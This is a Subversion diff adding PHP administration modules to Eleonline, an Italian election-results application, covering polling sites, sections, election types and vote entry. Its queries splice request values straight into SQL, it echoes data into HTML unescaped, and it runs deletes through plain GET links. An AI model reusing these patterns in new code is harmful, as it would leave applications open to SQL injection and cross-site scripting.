+		."<input type=\"hidden\" name=\"do\" value=\"update\">";
+		echo "<td align=\"center\"><input type=\"submit\" name=\"update\" value=\""._MODIFY."\"></td></tr>";
+	} else {
+		echo "<input type=\"hidden\" name=\"do\" value=\"add\">";
+
+		
+		
+		
+		echo "<td align=\"center\"><input type=\"submit\" name=\"add\" value=\""._ADD."\"></td></tr>";
+	}	
+	echo "</form><tr></tr>";	
+	
+	
+	
+	
+    $res = mysql_query("SELECT * FROM ".$prefix."_ele_sede where id_cons='$id_cons'  ", $dbi);
+    $max = mysql_num_rows($res);
+    $result = mysql_query("select * from ".$prefix."_ele_sede where id_cons='$id_cons'  ORDER BY id_circ  LIMIT $min,$offset", $dbi);
+    while(list($id_cons2,$id_sede,$id_circ,$indir, $tel1, $tel2,  $fax, $resp,$mappabin, $filemappa) = mysql_fetch_row($result)) {
+        // dati circoscrizione
+		$restemp = mysql_query("select count(0) from ".$prefix."_ele_sezioni where id_sede='$id_sede'", $dbi);
+		list($numtemp)=mysql_fetch_row($restemp);
+	$bgcolor1=($bgcolor1==$_SESSION['bgcolor1'])?$_SESSION['bgcolor2']:$_SESSION['bgcolor1'];
+	$result1 = mysql_query("select descrizione from ".$prefix."_ele_circoscrizione where id_circ='$id_circ'", $dbi);
+        list($descr_circ)=mysql_fetch_row($result1);
+	echo "<tr bgcolor=\"$bgcolor1\"><td align=\"left\"><b>$descr_circ</b>"
+	."</td><td align=\"left\"><b>$indir</b>"
+	."</td><td align=\"right\"><b>$filemappa</b>"
+	."</td><td align=\"right\"><b>$tel1</b>"
+	."</td><td align=\"right\"><b>$fax</b>"
+	."</td><td align=\"left\"><b>$resp</b>"
+	."</td><td align=\"center\" nowrap>[<a
+		href=\"admin.php?op=sede&amp;do=modify&amp;id_sede=$id_sede&amp;id_circ=$id_circ&amp;id_cons_gen=$id_cons_gen\"><img src=\"modules/Elezioni/images/edit.gif\"
+                border=\"0\" align=\"center\"> "._EDIT."</a>]";
+		if (!$numtemp)
+			echo "[<a href=\"admin.php?op=sede&amp;do=delete&amp;id_sede=$id_sede&amp;id_circ=$id_circ&amp;id_cons_gen=$id_cons_gen&amp;indir=$indir\">"._DELETE." <img src=\"modules/Elezioni/images/delete.gif\" border=\"0\" align=\"center\"></a>]";
+		else
+			echo "["._DELETE." <img src=\"modules/Elezioni/images/delete.gif\" border=\"0\" align=\"center\">]";
+	    echo "</td></tr>";
+    }
+    echo "</table></center>";
+
+
+      #'Pagina precedente' e 'Pagina Successiva'
+      echo"<table align=\"center\" width=\"100%\" ><tr>";
+      $prev=$min-$offset;
+      if ($prev>=0) {
+              echo "<td colspan=\"5\" align=\"center\" bgcolor=\"$bgcolor1\"><a href=\"admin.php?op=sede&amp;id_sede=$id_sede&amp;id_circ=$id_circ&amp;id_cons_gen=$id_cons_gen&amp;min=$prev\">";
+              echo "<b>$offset "._PREV_MATCH."</b></a></td>";
+      }
+
+      $next=$min+$offset;
+      if ($next>=($offset-1)) {
+          if($next>=$max) $next = $max;
+	  else {
+
+              echo "<td colspan=\"5\" align=\"center\" bgcolor=\"$bgcolor1\"><a href=\"admin.php?op=sede&amp;id_sede=$id_sede&amp;id_circ=$id_circ&amp;id_cons_gen=$id_cons_gen&amp;min=$next\">";
+              echo "<b>$offset "._NEXT_MATCH."</b></a></td>";
+        }
+      }
+     echo "</tr></table><br>";
+
+}
+
+
+
+//***********************************
+// Consultazione
+// ricordarsi di aggiungere l'eliminazione di tutti
+// i dati della consultazione nelle altre tabelle
+//  hai capito?
+//***********************************
+
+function sede($ok, $do,$id_circ, $id_sede,$indir, $tel1, $tel2, $fax, $resp, $mappa, $filemappa, $id_sede2) {
+global $admin, $bgcolor1, $bgcolor2, $prefix, $dbi, $descr_cons, $id_cons,$id_cons_gen,$id_comune;
+$perms=ChiSei(0);
+
+if ($perms>16) {
+	if ($do == "delete") {
+		if ($ok !="1") {
+			ele();
+			echo "<center><br><br>"._DOMCANCELLA." $indir ?<br>";
+			echo "[ <a href=\"admin.php?op=sede\">"._NO."</a> ] - [<a href=\"admin.php?op=sede&amp;do=delete&amp;id_sede=$id_sede&amp;id_circ=$id_circ&amp;id_cons_gen=$id_cons_gen&amp;ok=1\">"._YES."</a> ]";
+			include("footer.php");
+			die();
+		}else{
+			$result = mysql_query("delete from ".$prefix."_ele_sede where id_sede='$id_sede'", $dbi);
+			if (!$result)return;
+			Header("Location: admin.php?op=sede&id_cons_gen=$id_cons_gen");
+		}
+	}elseif ($do == "add") {
+		if ($indir) {
+		
+		
+			$mappablob='';
+			$mappanome='';
+			$MAPP=$_FILES['mappa'];
+			
+			$filesmappa=$MAPP['tmp_name'];
+			
+			
+			$nomemappa=$MAPP['name'];
+			$sqlset='';
+			if ($filesmappa){
+				$fdmappa = fopen ("$filesmappa", "rb");
+				$mappacontents = fread ($fdmappa, filesize ("$filesmappa"));
+				fclose ($fdmappa);
+				$mappablob=addslashes($mappacontents);
+				$mappanome=addslashes($nomemappa);
+			}
+		
+		
+//		        echo "IDCIRC=$id_circ";
+		
+		
+			$result = mysql_query("insert into ".$prefix."_ele_sede (id_cons,id_circ,indirizzo,telefono1,telefono2,fax,responsabile,mappa,filemappa) values ('$id_cons', '$id_circ','$indir','$tel1','$tel2', '$fax','$resp','$mappablob','$mappanome')", $dbi)|| die(mysql_error());
+			if (!$result) return;
+			Header("Location: admin.php?op=sede&id_cons_gen=$id_cons_gen");
+		} else {
+			ele($id_cons);
+			OpenTable();
+			echo "<center>"._GESTIONE." "._SEDE." ";
+			echo "<br><br><a href=\"admin.php?op=sede&amp;id_cons_gen=$id_cons_gen\">"._IMM." "._SEDE."</a></center>";
+			CloseTable();
+		}
+	}elseif ($do == "update") {
+			$mappablob='';
+			$mappanome='';
+			$MAPPA=$_FILES['mappa'];
+			$filesmappa=$MAPPA['tmp_name'];
+			$nomemappa=$MAPPA['name'];
+			$sqlset='';
+			if ($filesmappa){
+				$fdmappa = fopen ("$filesmappa", "rb");
+				$mappacontents = fread ($fdmappa, filesize ("$filesmappa"));
+				fclose ($fdmappa);
+				$mappablob=addslashes($mappacontents);
+				$mappanome=addslashes($nomemappa);
+				$cond=", mappa='$mappablob', filemappa='$mappanome'";
+			} else {$cond='';}
+        	
+		$result = mysql_query("update  ".$prefix."_ele_sede set    id_circ='$id_circ',indirizzo='$indir' , telefono1='$tel1', telefono2='$tel2',fax='$fax',responsabile='$resp' $cond where id_sede='$id_sede2' ", $dbi)|| die(mysql_error());
+          	 if (!$result) return;
+          	 Header("Location: admin.php?op=sede&id_cons_gen=$id_cons_gen&id_comune=$id_comune");
+   	}
+}
+}
+
+
+
+
+
+
+	if($do and $do!="modify")
+		sede($ok, $do,$id_circ, $id_sede,$indir, $tel1, $tel2, $fax, $resp,$mappa, $filemappa,$id_sede);
+	ele();
+	all();
+	echo"</td></tr></table>";
+	include("footer.php");
+} else {
+	echo "Access Denied";
+}
+
+?>
+
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/ele_sezione.php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/ele_sezione.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/ele_sezione.php	(revision 44)
@@ -0,0 +1,215 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Modulo sezioni                                                       */
+/* Amministrazione                                                      */
+/************************************************************************/
+if (!defined('ADMIN_FILE')) {
+    die ("You can't access this file directly...");
+}
+$id_comune=$_SESSION['id_comune'];
+$id_cons_gen=$_GET['id_cons_gen'];
+$perms=ChiSei($id_cons_gen);
+if ($perms<32 or !$id_cons_gen) die("Non hai i permessi per inserire dati, o non hai scelto la consultazione!");
+
+
+$res = mysql_query("SELECT t1.tipo_cons,t2.id_cons FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2 where t1.id_cons_gen=t2.id_cons_gen and t2.id_cons_gen='$id_cons_gen' and t2.id_comune='$id_comune'" , $dbi);
+list($tipo_cons,$id_cons) = mysql_fetch_row($res);
+if (isset($param['do'])) get_magic_quotes_gpc() ? $do=$param['do']:$do=addslashes($param['do']); else $do='';
+if (isset($param['id_sede'])) $id_sede=intval($param['id_sede']); else $id_sede='';
+if (isset($param['min'])) $min=intval($param['min']); else $min=0;
+if (isset($param['ok'])) $ok=intval($param['ok']); else $ok='';
+if (isset($param['id_sez'])) $id_sez=intval($param['id_sez']); else $id_sez='';
+if (isset($param['aut_m'])) $aut_m=intval($param['aut_m']); else $aut_m='';
+if (isset($param['aut_f'])) $aut_f=intval($param['aut_f']); else $aut_f='';
+if (isset($param['maschi'])) $maschi=intval($param['maschi']); else $maschi='';
+if (isset($param['femmine'])) $femmine=intval($param['femmine']); else $femmine='';
+if (isset($param['id_sez2'])) $id_sez2=intval($param['id_sez2']); else $id_sez2='';
+if (isset($param['num_sez'])) $num_sez=intval($param['num_sez']); else $num_sez='';
+
+include("modules/Elezioni/funzionidata.php");
+include("modules/Elezioni/ele.php");
+// Offset - visualizza il numero di elementi per pagina
+$offset=10;
+$hiddenInfo = "<input type=\"hidden\" name=\"min\" value=\"$min\">";
+
+
+/******************************************************/
+/*Funzione di visualizzazione globale                 */
+/*****************************************************/
+
+function all() {
+   global $admin, $bgcolor1, $bgcolor2, $prefix, $dbi, $offset, $min, $id_cons,$id_cons_gen;
+	OpenTable();
+	$y=0;
+   echo "<center><font class=\"title\"><a NAME=riga><b>"._SEZIONE."</b></a></font><br><br><table border=\"0\" width=\"95%\">"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._NUM."</b></td>"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._INDIRIZZO."</b></td>"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\" ><b>"._MASCHI."</b></td>"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\" ><b>"._FEMMINE."</b></td>"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\" ><b>"._TOTS." "._VOTANTI."</b></td>"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._FUNZIONI."</b></td></tr>";
+    $res = mysql_query("SELECT * FROM ".$prefix."_ele_sezioni where id_cons='$id_cons'  ", $dbi);
+    $max = mysql_num_rows($res);
+    
+	$nuova= $max+1;
+	$res = mysql_query("SELECT id_sede FROM ".$prefix."_ele_sezioni where id_cons='$id_cons' and num_sez='$max'  ", $dbi);
+	list($id_sede_old) = mysql_fetch_row($res);
+	echo "<form name=\"sezi\" action=\"admin.php\">"
+	."<input type=\"hidden\" name=\"op\" value=\"sezione\">"
+	."<input type=\"hidden\" name=\"do\" value=\"add\">";
+
+	echo "<tr align=\"center\"><td><input type=\"text\" name=\"num_sez\" value=\"$nuova\" size=\"5\"></td>";
+
+	echo "<td><select name=\"id_sede\">";
+	$res= mysql_query("SELECT id_sede,indirizzo FROM ".$prefix."_ele_sede where id_cons='$id_cons' order by indirizzo", $dbi);
+	while(list($id,$indir) = mysql_fetch_row($res)) {
+		if ($id == $id_sede_old) {
+			$sel = "selected";
+		} else {
+			$sel = "";
+		}
+		echo "<option value=\"$id\" $sel>$indir";
+	}
+	echo "</select></td>";
+	//*************************************
+
+	echo "<td><input type=\"text\" name=\"maschi\" size=\"4\"></td>";
+	
+
+	echo "<td><input type=\"text\" name=\"femmine\" size=\"4\"></td>";
+
+	echo "<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">";
+	echo "<input type=\"hidden\" name=\"min\" value=\"$min\">"
+	."<td></td><td><input type=\"submit\" name=\"add\" value=\""._ADD."\"></td></tr>"
+	."</form>";
+    
+    
+    
+    
+    
+    $result = mysql_query("select id_cons, id_sez, id_sede, num_sez, maschi, femmine, autorizzati_m, autorizzati_f from ".$prefix."_ele_sezioni where id_cons='$id_cons'  ORDER BY num_sez  LIMIT $min,$offset", $dbi);
+    while(list($id_cons2,$id_sez,$id_sede,$num_sez, $maschi, $femmine,$aut_m,$aut_f) = mysql_fetch_row($result)) {
+	$bgcolor1=($bgcolor1==$_SESSION['bgcolor1'])?$_SESSION['bgcolor2']:$_SESSION['bgcolor1'];
+        // dati circoscrizione
+	$result1 = mysql_query("select indirizzo from ".$prefix."_ele_sede where id_sede='$id_sede'", $dbi);
+        list($indir)=mysql_fetch_row($result1);
+        $totali=$maschi+$femmine+$aut_m+$aut_f;
+	$y++;
+ echo "<form name=\"sez$y\" action=\"admin.php\">"
+        ."<input type=\"hidden\" name=\"op\" value=\"sezione\">"
+      ."<input type=\"hidden\" name=\"do\" value=\"update\">"
+    ."<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">"
+    ."<input type=\"hidden\" name=\"min\" value=\"$min\">"
+    ."<input type=\"hidden\" name=\"id_sez2\" value=\"$id_sez\">"
+    ."<input type=\"hidden\" name=\"num_sez\" value=\"$num_sez\">";
+
+	echo "<tr bgcolor=\"$bgcolor1\"><td align=\"right\"><b>$num_sez</b></td>";
+	echo "<td align=\"right\"><select name=\"id_sede\">";
+	$res= mysql_query("SELECT id_sede,indirizzo FROM ".$prefix."_ele_sede where id_cons='$id_cons' order by indirizzo", $dbi);
+	while(list($id,$indir) = mysql_fetch_row($res)) {
+		if ($id == $id_sede) {
+			$sel = "selected";
+		} else {
+			$sel = "";
+		}
+		echo "<option value=\"$id\" $sel>$indir";
+	}
+	echo "</select></td>";
+
+	echo "<td align=\"center\"><b><input type=\"text\" size=\"4\" name=\"maschi\" value=\"$maschi\"></b>";
+	echo "</td><td align=\"center\"><b><input type=\"text\" size=\"4\" name=\"femmine\" value=\"$femmine\"></b>";
+	echo "</td><td align=\"center\"><b>$totali</b>"
+	."</td><td align=\"center\" nowrap><table><tr><td align=\"center\" width=\"50%\">" 
+	."<input type=\"submit\" name=\"update$y\" value=\""._OK."\">"	;
+	echo "</td><td align=\"center\" nowrap width=\"50%\">"
+		  ."[<a href=\"admin.php?op=sezione&amp;do=delete&amp;id_sede=$id_sede&amp;id_sez=$id_sez&amp;id_cons_gen=$id_cons_gen&amp;num_sez=$num_sez&amp;min=$min\">"._DELETE."<img src=\"modules/Elezioni/images/delete.gif\"
+                border=\"0\" align=\"center\"></a>]</td></tr></table>";
+	    echo "</td></tr></form>\n";
+    }
+    echo "</table></center>";
+	echo "<SCRIPT type=\"text/javascript\">\n\n<!--\n"
+	."document.sez2.maschi.focus()\n"
+	."document.sez2.maschi.select()\n"
+	."//-->\n"
+	."</script>\n";
+
+      #'Pagina precedente' e 'Pagina Successiva'
+      echo"<table align=\"center\" width=\"100%\"><tr>";
+	  if ($min<$offset and $min!=0) $min=$offset;
+      $prev=$min-$offset;
+	  
+      if ($prev>=0) {
+              echo "<td colspan=\"5\" align=\"center\" bgcolor=\"$bgcolor1\"><a href=\"admin.php?op=sezione&amp;id_sede=$id_sede&amp;id_sez=$id_sez&amp;id_cons_gen=$id_cons_gen&amp;min=$prev\">";
+              echo "<b>"._PREV_MATCH."</b></a></td>";
+      }
+
+      $next=$min+$offset;
+      if ($next>=($offset-1)) {
+          if($next>=$max) $next = $max;
+	  else {
+
+              echo "<td colspan=\"5\" align=\"center\" bgcolor=\"$bgcolor1\"><a href=\"admin.php?op=sezione&amp;id_sede=$id_sede&amp;id_sez=$id_sez&amp;id_cons_gen=$id_cons_gen&amp;min=$next\">";
+              echo "<b>"._NEXT_MATCH."</b></a></td>";
+        }
+      }
+     echo "</tr></table><br>";
+CloseTable();
+include("footer.php");
+}
+
+
+
+function sezione($ok, $do,$id_sede,$id_sez, $num_sez, $aut_ma, $aut_fe, $maschi, $femmine, $id_sez2,$min) {
+global $admin, $bgcolor1, $bgcolor2, $prefix, $dbi, $descr_cons, $id_cons,$id_cons_gen;
+$perms=ChiSei($id_cons_gen);
+if ($perms>16) {
+	$aut_m=intval($aut_ma);
+	$aut_f=intval($aut_fe);
+	if ($do == "delete") {
+		if ($ok !="1") {
+			ele();
+			echo "<center><br><br>"._DOMCANCELLA." "._NUM." "._SEZIONE." $num_sez ?<br>";
+			echo "[ <a href=\"admin.php?op=sezione&amp;id_cons_gen=$id_cons_gen&amp;min=$min\">"._NO."</a> ] - [<a href=\"admin.php?op=sezione&amp;do=delete&amp;id_sede=$id_sede&amp;id_sez=$id_sez&amp;id_cons_gen=$id_cons_gen&amp;ok=1&amp;min=$min\">"._YES."</a> ]";
+			include("footer.php");
+			die();
+		}else{
+			$result = mysql_query("delete from ".$prefix."_ele_sezioni where id_sez='$id_sez'", $dbi)|| die("(1104) Non e' stato possibile eliminare i dati dal database! contattare l'amministratore".mysql_error());
+			Header("Location: admin.php?op=sezione&id_cons_gen=$id_cons_gen&min=$min");
+		}
+	}elseif ($do == "add") {
+		if ($num_sez) {
+			$result = mysql_query("insert into ".$prefix."_ele_sezioni (id_cons,id_sede,num_sez,maschi,femmine, autorizzati_m,autorizzati_f) values ('$id_cons', '$id_sede', '$num_sez','$maschi','$femmine','$aut_m', '$aut_f')", $dbi)|| die("(1104) Non e' stato possibile inserire i dati nel database! contattare l'amministratore".mysql_error());
+			Header("Location: admin.php?op=sezione&id_cons_gen=$id_cons_gen&min=$min");
+		} else {
+			ele();
+			OpenTable();
+			echo "<center>"._GESTIONE." "._SEZIONE." ";
+			echo "<br><br><a href=\"admin.php?op=sezione&amp;id_cons_gen=$id_cons_gen&amp;min=$min\">"._IMM." "._SEZIONE."</a></center>";
+			CloseTable();
+		}
+	}elseif ($do == "update") {
+		$result = mysql_query("update  ".$prefix."_ele_sezioni set id_sede='$id_sede', maschi='$maschi', femmine='$femmine', autorizzati_m='$aut_m', autorizzati_f='$aut_f' where id_sez='$id_sez2' ", $dbi)|| die("(1104) Non e' stato possibile aggiornare i dati nel database! contattare l'amministratore".mysql_error());
+		$num_sez--;
+		Header("Location: admin.php?op=sezione&id_cons_gen=$id_cons_gen&min=$num_sez");
+	}
+	
+}
+}
+
+
+
+
+
+if ($op=="sezione")
+    sezione($ok, $do,$id_sede,$id_sez, $num_sez, $aut_m, $aut_f, $maschi, $femmine, $id_sez2, $min);
+ele();
+all();
+include ("footer.php");
+
+?>
+
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/ele_tipi.php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/ele_tipi.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/ele_tipi.php	(revision 44)
@@ -0,0 +1,121 @@
+<?php
+
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Modulo cambio password amministrazione                               */
+/* Amministrazione                                                      */
+/************************************************************************/
+
+
+if (!defined('ADMIN_FILE')) {
+    die ("You can't access this file directly...");
+}
+$aid=$_SESSION['aid'];
+$dbi=$_SESSION['dbi'];
+$prefix=$_SESSION['prefix'];
+$currentlang=$_SESSION['lang'];
+$id_comune=$_SESSION['id_comune'];
+$param=strtolower($_SERVER['REQUEST_METHOD']) == 'get' ? $_GET : $_POST;
+$id_cons_gen=intval($param['id_cons_gen']);
+$perms=ChiSei(0);
+
+if (isset($param['do'])) get_magic_quotes_gpc() ? $do=$param['do']:$do=addslashes($param['do']); else $do='';
+if (isset($param['descr_tipo'])) get_magic_quotes_gpc() ? $descr_tipo=$param['descr_tipo']:$descr_tipo=addslashes($param['descr_tipo']); else $descr_tipo='';
+if (isset($param['lang_tipo'])) get_magic_quotes_gpc() ? $lang_tipo=$param['lang_tipo']:$lang_tipo=addslashes($param['lang_tipo']); else $lang_tipo='';
+if (isset($param['op'])) get_magic_quotes_gpc() ? $op=$param['op']:$op=addslashes($param['op']); else $op='cambiopwd';
+if (isset($param['tipocons'])) $tipocons=intval($param['tipocons']); else $tipocons='';
+$lang_tipo=strtolower($lang_tipo);
+
+/*********************************************************/
+/* gestione tipologie Functions                                    */
+/*********************************************************/
+
+include("modules/Elezioni/ele.php");
+
+
+function tipi() {
+    global $admin, $bgcolor1, $bgcolor2, $prefix, $dbi, $id_cons_gen, $op, $do, $descr_tipo, $tipocons, $lang_tipo, $language;
+        echo "<center><font class=\"title\"><b>"._GESTIPO."</b></font></center><br>";
+    echo "<br><br><table border=\"0\" width=\"100%\" ><tr>"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._NUM."</b></td>"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._DESCR."</b></td>"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._LINGUA."</b></td><td>&nbsp;</td></tr>";
+//-----------------------visualizza riga superiore per inserimento -
+	echo "<form name=\"tipi2\" enctype=\"multipart/form-data\" action=\"admin.php\" method=\"post\">"
+	."<input type=\"hidden\" name=\"op\" value=\"tipo\">";
+	$res=mysql_query("SELECT * FROM ".$prefix."_ele_tipo where lingua='$language' order by tipo_cons", $dbi);
+	$max = mysql_num_rows($res);
+	$nuovo_tipo=$max+1;
+	if ($do=='modify') {
+		$resl = mysql_query("SELECT * FROM ".$prefix."_ele_tipo where tipo_cons='$tipocons'", $dbi);
+		$tipo=mysql_fetch_array($resl);
+		$nuovo_tipo=$tipo['tipo_cons'];
+		echo "<input type=\"hidden\" name=\"do\" value=\"update\">";
+		echo "<input type=\"hidden\" name=\"lang_tipo\" value=\"".$tipo['lingua']."\">";
+		echo "<input type=\"hidden\" name=\"tipocons\" value=\"$tipocons\">";
+		echo "<tr><td>".$tipo['tipo_cons']."</td>";
+	}else{
+		$tipo['tipo_cons']='';
+		if ($descr_tipo) $tipo['descrizione']="$descr_tipo";else $tipo['descrizione']='';
+		if ($lang_tipo) $tipo['lingua']="$lang_tipo";else $tipo['lingua']=$_SESSION['lang'];
+		echo "<input type=\"hidden\" name=\"do\" value=\"add\">";
+		echo "<tr><td><input type=\"text\" name=\"tipocons\" value=\"$nuovo_tipo\" size=\"5\"></td>";
+	}
+	echo "<td><input type=\"text\" name=\"descr_tipo\" size=\"35\" value=\"".$tipo['descrizione']."\"></td>";
+	if ($do=='modify') {
+		echo "<td>".$tipo['lingua']."</td>";
+		echo "<td align=\"center\"><input type=\"submit\" name=\"add\" value=\""._MODIFY."\"></td>";
+	}else{
+		echo "<td><input type=\"text\" name=\"lang_tipo\" size=\"35\" value=\"".$tipo['lingua']."\"></td>";
+		echo "<td align=\"center\"><input type=\"submit\" name=\"add\" value=\""._ADD."\"></td>";
+	}
+	echo "</tr></form>";
+//-----------------------fine visualizza riga superiore per inserimento -
+
+
+		while(list($tipov,$descv,$langv)= mysql_fetch_row($res)){
+			$bgcolor1=($bgcolor1==$_SESSION['bgcolor1'])?$_SESSION['bgcolor2']:$_SESSION['bgcolor1'];
+    			echo "<form name=\"elenco\" action=\"admin.php\" method=\"post\" >";
+			echo "<tr bgcolor=\"$bgcolor1\"><td align=\"right\"><b>$tipov</b></td>"
+			."<td align=\"left\"><b>$descv</b></td>"
+			."<td align=\"left\"><b>$langv</b></td>";
+			echo "<td align=\"center\" nowrap>[<a
+			href=\"admin.php?op=tipo&amp;do=modify&amp;id_cons_gen=$id_cons_gen&amp;tipocons=$tipov\"><img src=\"modules/Elezioni/images/edit.gif\" border=\"0\" align=\"center\"> "._EDIT."</a>]</td>";
+			echo "</tr></form>";
+    		}
+    echo "</table></center><br>";
+}
+
+function savetipo() {
+    global $prefix, $dbi,$id_cons_gen,$op,$do,$tipocons,$descr_tipo,$lang_tipo;
+	$aid=$_SESSION['aid'];
+	$perms=ChiSei($id_cons_gen);
+	if ($perms == 256) {
+		if ($descr_tipo){
+		if ($do == "add") {
+			$result = mysql_query("insert into ".$prefix."_ele_tipo (tipo_cons,descrizione,lingua) values ('$tipocons','$descr_tipo','$lang_tipo')", $dbi);
+			if (!$result) return;
+		}elseif ($do == "update") {
+			$result = mysql_query("update  ".$prefix."_ele_tipo set descrizione='$descr_tipo' where tipo_cons='$tipocons' and lingua='$lang_tipo'", $dbi);
+			if (!$result) return;
+		}
+		}else if ($lang_tipo) $_SESSION['lang']=$lang_tipo;
+	Header("Location: admin.php?op=$op&id_cons_gen=$id_cons_gen");
+	}
+}
+
+
+
+
+if ($do and $do!='modify')
+	savetipo();
+ele();
+tipi();
+echo"</td></tr></table>";
+include("footer.php");
+
+?>
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/ele_voti.php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/ele_voti.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/ele_voti.php	(revision 44)
@@ -0,0 +1,1130 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Modulo Inserimento dati                                              */
+/* Amministrazione                                                      */
+/************************************************************************/
+
+if (!defined('ADMIN_FILE')) {
+    die ("You can't access this file directly...");
+}
+$aid=$_SESSION['aid'];
+$dbi=$_SESSION['dbi'];
+$prefix=$_SESSION['prefix'];
+$currentlang=$_SESSION['lang'];
+$param=strtolower($_SERVER['REQUEST_METHOD']) == 'get' ? $_GET : $_POST;
+$vari= implode(',',$_GET);//param);
+$id_comune=$_SESSION['id_comune'];
+$id_cons_gen=intval($_GET['id_cons_gen']);
+$perms=ChiSei($id_cons_gen);
+if ($perms<16 or !$id_cons_gen) die("Non hai i permessi per inserire dati, o non hai scelto la consultazione!");
+
+$res = mysql_query("SELECT tipo_cons FROM ".$prefix."_ele_consultazione where id_cons_gen='$id_cons_gen'" , $dbi);
+list($tipo_cons) = mysql_fetch_row($res);
+if ($tipo_cons!=3) $limite=0; #die ("limite: $limite");}
+if (isset($_GET['do'])) get_magic_quotes_gpc() ? $do=$param['do']:$do=addslashes($param['do']); else $do='';
+//if (isset($param['id_cons'])) $id_cons=intval($param['id_cons']); else $id_cons='';
+if (isset($param['ops'])) $ops=intval($param['ops']); else $ops='';
+if (isset($param['min'])) $min=intval($param['min']); else $min=0;
+if (isset($param['ok'])) $ok=intval($param['ok']); else $ok='';
+if (isset($param['ov'])) $ov=intval($param['ov']); else $ov='';
+if (isset($param['mv'])) $mv=intval($param['mv']); else $mv='';
+if (isset($param['gv'])) $gv=intval($param['gv']); else $gv='';
+if (isset($param['msv'])) $msv=intval($param['msv']); else $msv='';
+if (isset($param['av'])) $av=intval($param['av']); else $av='';
+if (isset($param['id_circ'])) $id_circ=intval($param['id_circ']); else
+	if (isset($_SESSION['id_circ'])) $id_circ=intval($_SESSION['id_circ']); else $id_circ='';
+if (isset($param['id_sede'])) $id_sede=intval($param['id_sede']); else $id_sede='';
+if (isset($param['id_sez'])) $id_sez=intval($param['id_sez']); else $id_sez='';
+if (isset($param['id_lista'])) $id_lista=intval($param['id_lista']); else $id_lista='';
+if (isset($param['prev_sez'])) $prev_sez=intval($param['prev_sez']); else $prev_sez='';
+if (isset($param['id_gruppo'])) $id_gruppo=intval($param['id_gruppo']); else $id_gruppo='';
+include("modules/Elezioni/funzionidata.php");
+include("modules/Elezioni/ele.php");
+$res = mysql_query("SELECT count(id_circ) FROM ".$prefix."_ele_circoscrizione where id_cons='$id_cons' ", $dbi);
+list($num_circ)=mysql_fetch_row($res);
+if ($conscirc){  // or $num_circ==1
+	if (!$id_circ){
+		$res = mysql_query("SELECT id_circ FROM ".$prefix."_ele_circoscrizione where id_cons='$id_cons' order by num_circ limit 0,1", $dbi);
+		if (!$res) die("Errore, non trovo circoscrizioni inserite! Consultare l'amministratore");
+		list($id_circ)=mysql_fetch_row($res);
+		$_SESSION['id_circ']=$id_circ;
+	}
+	$result = mysql_query("select id_sede from ".$prefix."_ele_sede where id_circ='$id_circ'", $dbi);
+	$i=0;
+	while(list($tmp) = mysql_fetch_row($result)) $idsedi[$i++]=$tmp;$tmp=implode (",",$idsedi);
+	unset($idsedi);$i=0;$idsezi=array();unset($result);
+	$result = mysql_query("SELECT id_sez FROM ".$prefix."_ele_sezioni where id_sede in ($tmp)", $dbi);
+	unset($tmp);
+	while(list($tmp) = mysql_fetch_row($result)) $idsezi[$i++]=$tmp;
+	$tmp=implode (",",$idsezi);
+	$sezi = "and id_sez in ($tmp)";
+	$circo = "and id_circ='$id_circ'";
+}else{
+	$sezi='';
+	$circo='';
+}
+
+
+
+// Offset - visualizza il numero di elementi per pagina
+$offset=2;
+if (!isset($min)) $min=0;
+$hiddenInfo = "<input type=\"hidden\" name=\"min\" value=\"$min\">";
+
+function numeri_sezione() {
+// tabella visualizzazione sezioni per numero
+global $aid,$bgcolor1, $bgcolor2, $prefix, $dbi, $offset, $min, $tipo_cons, $genere,$id_cons_gen,$id_cons,$id_lista,$ops, $perms,$id_sez;
+//	$ressup = mysql_query("select permessi from ".$prefix."_ele_operatori where aid='$aid'",$dbi);
+//	list ($perms)=mysql_fetch_row($ressup);
+	//if ($perms>16) { // tolto per guidonia
+		$res = mysql_query("SELECT num_sez, id_sez ,id_sede FROM ".$prefix."_ele_sezioni where id_cons='$id_cons' order by num_sez", $dbi);
+		$max = mysql_num_rows($res);
+		echo "\n<table align=\"left\" border=\"0\" width=\"90%\"><tr bgcolor=\"$bgcolor1\">";
+		//if ($max>=64){
+		$i=0;
+		while(list($sez_num, $sez_id ,$sede_id) = mysql_fetch_row($res)) {
+			$i++;
+			$result = mysql_query("SELECT id_circ FROM ".$prefix."_ele_sede where id_cons='$id_cons' and id_sede='$sede_id' ", $dbi);
+			list($circ_id) = mysql_fetch_row($result);
+			//clora la sezione
